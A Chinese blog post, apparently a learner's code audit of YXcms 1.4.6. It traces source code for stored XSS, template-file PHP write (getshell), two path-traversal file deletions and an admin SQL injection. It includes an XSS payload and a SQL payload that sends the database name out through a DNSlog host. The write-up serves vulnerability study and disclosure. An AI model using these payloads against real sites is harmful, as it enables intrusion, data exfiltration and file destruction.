前言
一次逛博客中,遇到了YXcms,难度不高,适合我这种小白。于是它就成为我的代码审计的第二弹了。
审计过程
首先了解这个cms的目录结构
data 存放备份数据protected 网站程序核心文件夹public 存放css、images、js、swf等模板公用文件upload 存放上传文件.htaccess apache伪静态规则文件httpd.ini iis伪静态规则文件index.php 网站入口robots.txt robots协议升级日志.txt 详细升级日志记录文件
然后通过YXcms手册了解YXcms的后台路径等
https://www.kancloud.cn/yongheng/yxcms/308086
前台XSS
源码分析
\protected\apps\default\controller\columnController.php
public function index(){$ename=in($_GET['col']);if(empty($ename)) throw new Exception('栏目名不能为空~', 404);$sortinfo=model('sort')->find("ename='{$ename}'",'id,name,ename,path,url,type,deep,method,tplist,keywords,description,extendid');$path=$sortinfo['path'].','.$sortinfo['id'];$deep=$sortinfo['deep']+1;$this->col=$ename;switch ($sortinfo['type']) {case 1://文章$this->newslist($sortinfo,$path,$deep);break;case 2://图集$this->photolist($sortinfo,$path,$deep);break;case 3://单页$this->page($sortinfo,$path,$deep);break;case 4://应用break;case 5://自定义break;case 6://表单$this->extend($sortinfo,$path,$deep);break;default:throw new Exception('未知的栏目类型~', 404);break;}}protected function extend($sortinfo,$path,$deep){$tableid=$sortinfo['extendid'];if(empty($tableid)) $this->error('表单栏目不存在~');$tableinfo = model('extend')->select("id='{$tableid}' OR pid='{$tableid}'",'id,tableinfo,name,type,defvalue','pid,norder DESC');if(empty($tableinfo)) $this->error('自定义表不存在~');$urls=explode('|', $sortinfo['url']);// var_dump($tableinfo);// var_dump($urls);// exit();if (!$this->isPost()) {...}else{session_starts();$verify=session('verify');session('verify',null);if(empty($verify) || $_POST['checkcode']!=$verify) $this->error('验证码错误,请重新输入');for($i=1;$i<count($tableinfo);$i++){if(is_array($_POST[$tableinfo[$i]['tableinfo']])){$data[$tableinfo[$i]['tableinfo']]=in(deletehtml(implode(',',$_POST[$tableinfo[$i]['tableinfo']])));$data[$tableinfo[$i]['tableinfo']]=$data[$tableinfo[$i]['tableinfo']]?in(deletehtml($data[$tableinfo[$i]['tableinfo']])):'';}else{if(strlen($_POST[$tableinfo[$i]['tableinfo']])>65535) $this->error('提交内容超过限制长度~');$data[$tableinfo[$i]['tableinfo']]=html_in($_POST[$tableinfo[$i]['tableinfo']],true);}}$data['ip']=get_client_ip();$data['ispass']=0;$data['addtime']=time();if(empty($urls[1])) $jump=$_SERVER['HTTP_REFERER'];else{$jurl=explode(',',$urls[1]);if(!empty($jurl[1])){$arr=explode('/',$jurl[1]);if(!empty($arr)){$canshu=array();foreach ($arr as $vo) {$val=explode('=',$vo);$canshu[$val[0]]=$val[1];}}}$jump=url($jurl[0],$canshu);}$mes=$urls[2]?$urls[2]:'提交成功请等待审核~';if(model('extend')->Extin($tableinfo[0]['tableinfo'],$data)) $this->success($mes,$jump);else $this->error('提交失败~');}}
这里使用两个函数对前端输入进行过滤html_in和deletehtml/protected/include/lib/common.function.phpdeletehtml
//去除html js标签function deletehtml($document) {$document = trim($document);if (strlen($document) <= 0){return $document;}$search = array ("'<script[^>]*?>.*?</script>'si", // 去掉 javascript"'<[/!]*?[^<>]*?>'si", // 去掉 HTML 标记"'([rn])[s]+'", // 去掉空白字符"'&(quot|#34);'i", // 替换 HTML 实体"'&(amp|#38);'i","'&(lt|#60);'i","'&(gt|#62);'i","'&(nbsp|#160);'i"); // 作为 PHP 代码运行$replace = array ("","","\1",""","&","<",">"," ");return @preg_replace ($search, $replace, $document);}
注释的很清楚了 ,去除html js标签html_in/protected/include/lib/common.function.php
function html_in($str,$filter=false){if($filter){$str=RemoveXSS($str);}$str=htmlspecialchars($str);if(!get_magic_quotes_gpc()) {$str = addslashes($str);}return $str;}
使用函数htmlspecialchars和RemoveXSS对XSS进行过滤。
RemoveXSS
function RemoveXSS($val) {// remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed// this prevents some character re-spacing such as <javascript>// note that you have to handle splits with n, r, and t later since they *are* allowed in some inputs$val = preg_replace('/([x00-x08,x0b-x0c,x0e-x19])/', '', $val);// straight replacements, the user should never need these since they're normal characters// this prevents like <IMG SRC=@avascript:alert('XSS')>$search = 'abcdefghijklmnopqrstuvwxyz';$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';$search .= '1234567890!@#$%^&*()';$search .= '~`";:?+/={}[]-_|'\';for ($i = 0; $i < strlen($search); $i++) {// ;? matches the ;, which is optional// 0{0,7} matches any padded zeros, which are optional and go up to 8 chars// @ @ search for the hex values$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;// @ @ 0{0,7} matches '0' zero to seven times$val = preg_replace('/(�{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;}// now the only remaining whitespace attacks are t, n, and r$ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');$ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');$ra = array_merge($ra1, $ra2);$found = true; // keep replacing as long as the previous round replaced somethingwhile ($found == true) {$val_before = $val;for ($i = 0; $i < sizeof($ra); $i++) {$pattern = '/';for ($j = 0; $j < strlen($ra[$i]); $j++) {if ($j > 0) {$pattern .= '(';$pattern .= '(&#[xX]0{0,8}([9ab]);)';$pattern .= '|';$pattern .= '|(�{0,8}([9|10|13]);)';$pattern .= ')*';}$pattern .= $ra[$i][$j];}$pattern .= '/i';$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag$val = preg_replace($pattern, $replacement, $val); // filter out the hex tagsif ($val_before == $val) {// no replacements were made, so exit the loop$found = false;}}}return $val;}
过滤一些危险标签,防止出现XSS
通过测试,前端输入的<svg/onload=alert(1)> 在数据库中是:<svg/on<x>load=alert(1)>这样的
然后我们来看从数据库取值的函数protected/apps/admin/controller/extendfieldController.php
public function mesedit(){$tableid=intval($_GET['tabid']);if(!$this->checkConPower('extend',$tableid)) $this->error('您没有权限管理此独立表内容~');$id=intval($_GET['id']);//信息idif(empty($tableid) || empty($id) ) $this->error('参数错误~');$tableinfo = model('extend')->select("id='{$tableid}' OR pid='{$tableid}'",'id,tableinfo,name,type,defvalue','pid,norder DESC');if(empty($tableinfo)) $this->error('自定义表不存在~');if (!$this->isPost()) {$info=model('extend')->Extfind($tableinfo[0]['tableinfo'],"id='{$id}'");// var_dump($info);// exit();$this->info=$info;$this->tableid=$tableid;$this->id=$id;$this->tableinfo=$tableinfo;$this->display();}else{for($i=1;$i<count($tableinfo);$i++){if(is_array($_POST[$tableinfo[$i]['tableinfo']]))$data[$tableinfo[$i]['tableinfo']]=implode(',',$_POST[$tableinfo[$i]['tableinfo']]);else$data[$tableinfo[$i]['tableinfo']]=html_in($_POST[$tableinfo[$i]['tableinfo']]);}if(model('extend')->Extup($tableinfo[0]['tableinfo'],"id='{$id}'",$data)) $this->success('修改成功~',url('extendfield/meslist',array('id'=>$tableid)));else $this->error('信息修改失败~');}}
取值就是正常取值,但是接下来的给页面返回代码,就离谱
$cont.='';for($i=1;$i<count($tableinfo);$i++){$cont.= '<tr><td align="right">'.$tableinfo[$i]['name'].':</td><td align="left">';switch ($tableinfo[$i]['type']) {case 1:$cont.= '<input type="text" name="'.$tableinfo[$i]['tableinfo'].'" value="'.$info[$tableinfo[$i]['tableinfo']].'">';break;case 2:$cont.= '<textarea name="'.$tableinfo[$i]['tableinfo'].'" style="width:300px !important; height:80px">'.$info[$tableinfo[$i]['tableinfo']].'</textarea>';break;case 3:$cont.= '<textarea class="editori" name="'.$tableinfo[$i]['tableinfo'].'" style="width:100%;height:250px;visibility:hidden;">'.html_out($info[$tableinfo[$i]['tableinfo']]).'</textarea>';break;case 4:$cont.= '<select name="'.$tableinfo[$i]['tableinfo'].'" >';$chooses=explode("rn",$tableinfo[$i]['defvalue']);$flog=false;foreach ($chooses as $vo) {$vos=explode(",",$vo);if($info[$tableinfo[$i]['tableinfo']]==$vos[0]) {$flog=true;$cont.='<option selected value="'.$vos[0].'">'.$vos[1].'</option>';}else{$cont.='<option value="'.$vos[0].'">'.$vos[1].'</option>';}}if(!$flog) $cont.='<option selected value="">=没有选择=</option>';$cont.= '</select>';break;case 5:$cont.= '<input name="'.$tableinfo[$i]['tableinfo'].'" id="'.$tableinfo[$i]['tableinfo'].'" type="text" value="'.$info[$tableinfo[$i]['tableinfo']].'" />';$cont.= '<iframe scrolling="no"; frameborder="0" src="'.url("extendfield/file",array('inputName'=>$tableinfo[$i]['tableinfo'])).'" style="width:300px; height:30px;"></iframe>';break;case 6:$chooses=explode("rn",$tableinfo[$i]['defvalue']);foreach ($chooses as $vo) {$vos=explode(",",$vo);$nowval=array();$nowval=explode(",",$info[$tableinfo[$i]['tableinfo']]);$cont.= (in_array($vos[0],$nowval))?$vos[1].'<input checked type="checkbox" name="'.$tableinfo[$i]['tableinfo'].'[]" value="'.$vos[0].'" />':$vos[1].'<input type="checkbox" name="'.$tableinfo[$i]['tableinfo'].'[]" value="'.$vos[0].'" /><br>';}break;}$cont.= '</td></tr>';}echo $cont;
只有case 3使用了html_out函数/protected/include/lib/common.function.phphtml_out
function html_out($str){if(function_exists('htmlspecialchars_decode'))$str=htmlspecialchars_decode($str);else$str=html_entity_decode($str);$str = stripslashes($str);return $str;}
在html代码输出利用htmlspecialchars_decode将特殊的 HTML 实体转换回普通字符,那么上面的被实体化的输入代码又被转化回来了,中间那么多的过滤和转换白用了。 而且case3就是留言板那。
任意PHP文件添加

新建一个文件
不需要任何权限,可以直接访问protected/apps/default/view/default/phpinfo.php
源码分析
protected/apps/admin/controller/setController.php
public function tpadd(){$tpfile=$_GET['Mname'];if(empty($tpfile)) $this->error('非法操作~');$templepath=BASE_PATH . $this->tpath.$tpfile.'/';if($this->isPost()){$filename=trim($_POST['filename']);$code=stripcslashes($_POST['code']);if(empty($filename)||empty($code)) $this->error('文件名和内容不能为空');$filepath=$templepath.$filename.'.php';if($this->ifillegal($filepath)) {$this->error('非法的文件路径~');exit;}try{file_put_contents($filepath, $code);} catch(Exception $e) {$this->error('模板文件创建失败!');}$this->success('模板文件创建成功!',url('set/tplist',array('Mname'=>$tpfile)));}else{$this->tpfile=$tpfile;$this->display();}}
可以看到,我们写入的文件是POST直接传参,而且两个参数均为进行过滤。$filepath=$templepath.$filename.'.php';强行指定文件为php文件。 file_put_contents($filepath, $code);将没有进行过滤的输入的参数直接写入文件中。
通过这个漏洞,我们可以直接getshell。
任意文件删除一
在上传文件管理中,有个删除文件
我们尝试删除,并且抓包。
在根目录创建一个1.txt
返回成功,1.txt被成功删除
源码分析
protected/apps/admin/controller/filesController.php
public function del(){$dirs=in($_GET['fname']);$dirs=str_replace(',','/',$dirs);$dirs=ROOT_PATH.'upload'.$dirs;if(is_dir($dirs)){del_dir($dirs); echo 1;}elseif(file_exists($dirs)){if(unlink($dirs)) echo 1;}else echo '文件不存在';}
使用in方法对$_GET['fname']进行判断protected\include\lib\common.function.php
function in($data,$force=false){if(is_string($data)){$data=trim(htmlspecialchars($data));//防止被挂马,跨站攻击if(($force==true)||(!get_magic_quotes_gpc())) {$data = addslashes($data);//防止sql注入}return $data;} else if(is_array($data)) {foreach($data as $key=>$value){$data[$key]=in($value,$force);}return $data;} else {return $data;}}
代码中对传入的数据进行htmlspecialchars和addslashes处理,但是并不会对../进行处理
del_dir 方法\YXcmsApp1.4.6\protected\include\lib\common.function.php
//遍历删除目录下所有文件function del_dir($dir,$ifdeldir=true){if (!is_dir($dir)){return false;}$handle = opendir($dir);while (($file = readdir($handle)) !== false){if ($file != "." && $file != ".."){is_dir("$dir/$file")? del_dir("$dir/$file"):@unlink("$dir/$file");}}if (readdir($handle) == false){closedir($handle);if($ifdeldir) @rmdir($dir);}return true;}
对文件进行遍历删除操作。
总管这两个方法,对我们输入的参数没有进行任何过滤,ROOT_PATH.'upload'.$dirs,拼接文件完整路径,使用unlink函数删除文件,参数完全可控,导致任意文件删除。
任意文件删除二

抓包 ,通过更改参数picname ,达到任意文件删除的目的。
当返回缩略图不存在时,文件已经被删除。
源码分析
/protected/apps/admin/controller/photoController.php
public function delpic(){if(empty($_POST['picname'])) $this->error('参数错误~');$picname=$_POST['picname'];$path=$this->uploadpath;if(file_exists($path.$picname))@unlink($path.$picname);else{echo '图片不存在~';return;}if(file_exists($path.'thumb_'.$picname))@unlink($path.'thumb_'.$picname);else {echo '缩略图不存在~';return;}echo '原图以及缩略图删除成功~';}
将参数$_POST['picname']赋值给$picname ,$this->uploadpath上传路径赋值到$path,把$path和$picname连接起来,参数$picname完全可控,导致任意文件删除。
SQL注入
位置:/index.php?r=admin/fragment/index
bp抓包 会看到传入两个参数
对delid参数进行修改select load_file(concat('\\\\',(select database()),'.test.dnslog.link\\abc'))

但是这里没有回显,需要用DNSLOG辅助查看回显
这个洞比较鸡肋,因为后台有执行SQL语句的功能
源码分析
\YXcmsApp1.4.6\protected\apps\admin\controller\fragmentController.php
public function del(){if(!$this->isPost()){$id=intval($_GET['id']);if(empty($id)) $this->error('您没有选择~');if(model('fragment')->delete("id='$id'"))echo 1;else echo '删除失败~';}else{if(empty($_POST['delid'])) $this->error('您没有选择~');$delid=implode(',',$_POST['delid']);if(model('fragment')->delete('id in ('.$delid.')'))$this->success('删除成功',url('fragment/index'));}}
对于传入的delid变量,首先判断是否存在,然后将逗号和$_POST['delid']通过implode函数链接在一起。调用delete方法继续进行删除。
查看delete方法\YXcmsApp1.4.6\protected\base\model\model.php
public function delete($condition){return $this->model->table($this->table, $this->ignoreTablePrefix)->where($condition)->delete();}
仍有delete方法,我们继续查看\YXcmsApp1.4.6\protected\include\core\cpModel.class.php
public function delete() {$table = $this->options['table']; //当前表$where = $this->_parseCondition(); //条件if ( empty($where) ) return false; //删除条件为空时,则返回false,避免数据不小心被全部删除$this->sql = "DELETE FROM $table $where";$query = $this->db->execute($this->sql);return $this->db->affectedRows();}
这里依旧是对$table和$where进行赋值 但是这里使用了parseCondition() 查一下\YXcmsApp1.4.6\protected\include\core\db\cpMysql.class.php
private function _parseCondition() {$condition = $this->db->parseCondition($this->options);$this->options['where'] = '';$this->options['group'] = '';$this->options['having'] = '';$this->options['order'] = '';$this->options['limit'] = '';$this->options['field'] = '*';return $condition;}
这里$this->db->parseCondition($this->options)
查看parseCondition方法
public function parseCondition($options) {$condition = "";if(!empty($options['where'])) {$condition = " WHERE ";if(is_string($options['where'])) {$condition .= $options['where'];} else if(is_array($options['where'])) {foreach($options['where'] as $key => $value) {$condition .= " `$key` = " . $this->escape($value) . " AND ";}$condition = substr($condition, 0,-4);} else {$condition = "";}}if( !empty($options['group']) && is_string($options['group']) ) {$condition .= " GROUP BY " . $options['group'];}if( !empty($options['having']) && is_string($options['having']) ) {$condition .= " HAVING " . $options['having'];}if( !empty($options['order']) && is_string($options['order']) ) {$condition .= " ORDER BY " . $options['order'];}if( !empty($options['limit']) && (is_string($options['limit']) || is_numeric($options['limit'])) ) {$condition .= " LIMIT " . $options['limit'];}if( empty($condition) ) return "";return $condition;}
首先如果传递过来的内容不为空,就给condition赋值 WHERE ,如果是字符串的话,直接进行拼接,如果是数组的话,交由escape()方法处理 ,之后基本上都是sql语句的关键词赋值,其中出现escape($value),我们查看一下这个函数。
/protected/include/core/db/cpMysql.class.php
public function escape($value) {if( isset($this->_readLink) ) {$link = $this->_readLink;} elseif( isset($this->_writeLink) ) {$link = $this->_writeLink;} else {$link = $this->_getReadLink();}if( is_array($value) ) {return array_map(array($this, 'escape'), $value);} else {if( get_magic_quotes_gpc() ) {$value = stripslashes($value);}return "'" . mysql_real_escape_string($value, $link) . "'";}
如果传入的是数组,那么回对数组中的每个值进行mysql_real_escape_string处理
但是因为只进行了特殊字符的处理,对于数字和字符没有进行处理,所以,存在SQL注入。
总结
这次代码审计,只靠我自己是拿不下来的,最后还是参考了P神,p1ump师傅等大牛的博客。即使这样,这个cms 依旧还有一些洞没有复现到位,比如固定会话攻击,这个我一直没有复现出来,就没有写到正文中,如果有哪位师傅了解,还请赐教。
参考
https://www.freebuf.com/column/162886.html
https://xz.aliyun.com/t/5367?page=1#toc-5
https://www.anquanke.com/post/id/204398#h2-14
https://www.leavesongs.com/other/yxcms-vulnerability.html

